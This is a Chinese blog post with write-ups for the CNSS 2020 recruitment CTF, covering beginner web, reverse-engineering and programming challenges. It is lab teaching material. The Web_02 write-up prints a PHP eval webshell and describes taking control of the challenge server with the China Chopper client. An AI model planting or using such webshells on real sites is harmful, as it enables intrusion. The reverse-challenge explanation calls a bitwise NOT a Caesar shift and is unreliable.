avatar

目录
CNSS2020_招新解析

写在前面

施工中!!!Coming Soon!!!

Web方向

Web_01_(baby)Web 方向做题须知

Web 方向做题须知

1.Web题目为每道题目描述里给出的链接地址所指向的web应用(所以不要在平台题目描述界面寻找flag了
2.flag格式统一为cnss{} 花括号中间为有意义的字符串,通常会以_区分单个单词
3.hint意为提示 是出题人给出的解题提示 并不要求你在flag提交处作答(x
4.当你成功得到flag时 flag一定是以cnss{}的形式显示的 所以不需要自己手动添加cnss{}(如果有那你找到的一定不是flag

做题要求

要会看HTML源码
能读懂简单的PHP代码
懂一点点HTTP报文
学会使用burpsuite的repeater模块

常用工具

burpsuite
metasploit
AntSword
f12开发者工具 插件如hackbar等
ps:浏览器请使用 firefox/chrome

学习参考

学会使用搜索引擎搜索关键字以找到自己需要的学习资料
从别人的博客文章/官方文档中学习
书籍和视频中学到的大多是系统全面的知识,但是相应的效率便低了
针对性学习和系统性学习,需要每个人结合自身情况进行均衡

cnss{flag_is_just_like_this}

Web_02_(baby)卖菜刀

卖菜刀,卖菜刀,3 元 1 把,10 元 3 把。
快让 X5tar 看看你的菜刀锋利不锋利!

http://recruit.x5tar.com:60003/

PS:被某些杀软报毒属于正常现象,可以放心做题,本题不会对你的电脑产生任何不利影响

hint1:PHP 一句话木马
hint2:也许黑色蒙蔽了你的双眼(

解析

F12审查元素之后,发现网页源码中有这样一句
?php @eval($_POST['x5tar']);
显然是一个标准格式的一句话木马,而且出题人已经将连接的密码给出来了,即‘’中的内容x5tar
于是直接用菜刀连接,笔者采用的是2011版本的中国菜刀
链接填写http://recruit.x5tar.com:60003/,脚本类型选择PHP,编码标准不做改动,单击“连接”
成功连接之后,即可取得控制权限,在网页源码文件夹下找到一名为flag的文件,打开
发现 cnss{The_fl4g_1n_/_is_fak3} 出题人居然留了一手,好气!
依据提示,我们返回根目录下,发现真正的flag文件,打开为 cnss{y0ur_ca1da0_1s_aw3s0m3}
Binggo!我们终于得到了正确的flag!

Web_03_(baby)更简单的计算题

有人说夏令营的计算题太难,怎么可能在一秒内算出🌶么大的数
所以招新出了一个更加简单的计算题
但是让你算出答案又能怎样
你真的可以提交吗?

http://recruit.x5tar.com:60002/

hint1:HTML 属性
hint2:试试 F12?

解析

惯例,先观察页面。发现是一个8位数的加法,但是输入框只能填写5位数字!
F12检察元素,发现这样一行
input type="text" name="re" maxlength="5"
显然,它限制了我们提交答案的位数,直接更改之
但是发现,我们更改完成之后,“提交”的选项卡直接灰了,我们再回去看审查元素
input type="submit" value="提交" disabled=""
这样一行禁止了我们使用提交按钮。于是将其状态改为abled即可
提交正确的计算结果后我们直接在页面上得到返回的flag
恭喜你,计算正确🎉cnss{no_one_kno3s_htm1_b3tt3r_than_u}

Web_04_(easy)最好的语言?

你知道最好的语言是什么吗?
没错!当然就是超有趣的 PHP 辣!

http://recruit.x5tar.com:60004/

hint1:PHP 反序列化
hint2:CVE-2016-7124
hint3:protected 和 private 属性的序列化

解析

施工中!!!Coming Soon!!!

Reverse方向

Reverse_01_Baby C Code

题目要求
请运行并分析以下C++语言代码,找到满足条件的 flag

前置知识
1.流程控制
2.位运算

#include
#include
char flag[31];
char code[]={x8
0x9c,0x91,0x8c,0x8c,0x84,0x88,0xcc,0x93,0x9c,0xcf,
0x92,0x9a,0xa0,0xc8,0x90,0xa0,0x8d,0xcc,0x89,0xcc,
0x8d,0xca,0x9a,0xa0,0x88,0xcf,0x8d,0xce,0x9b,0x82};
int main()
{
scanf(“%30s”,flag);
if (strlen(flag)!=30) return 0;
for (int i=0;i<30;i++) if (~flag[i]!=code[i]) return 0;
printf(“Congratulation.”);
return 0;
}

解析

简单的查看一下代码,发现验证逻辑非常简单
总体而言就是一种很常见的凯撒密码的变体,其中位移量i的取值范围从0到30
结合CNSS做题须知里面的flag格式,再观察到code数组之中第3,4位相同,我们不难推出:
0x8c对应的时flag中的‘s’ 由于0x8c对应DEC的140,而‘s’的ASCII码值为115,满足i取值范围
因此我们编写解码程序,确定偏移量为-25,之后以字符形式输出即可
得到flag——cnss{w3lc0me_7o_r3v3r5e_w0r1d}

Hello World!

输出 “Hi, CNSS!” 获得 flag

源码中不允许包含井号,即源码中不允许出现#

本题编译参数为/usr/bin/g++ -O2 -w -fmax-errors=3 -std=c++14 -lm

小小的增加了难度

Hello 5, 它又回来了!

CNSS招新传统题目!

输出 “Hi, CNSS!” 获得flag

源码中不允许包含 %:?#({<[]>})

通过后请带着 submit id 联系我

点我获得flag

PS. 不要去爆栈网或者知乎提问

文章作者: Cosmos_F
文章链接: http://fengxinyue.cn/post/b5f19194.html
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 学习心得
打赏
  • 微信
    微信
  • 支付寶
    支付寶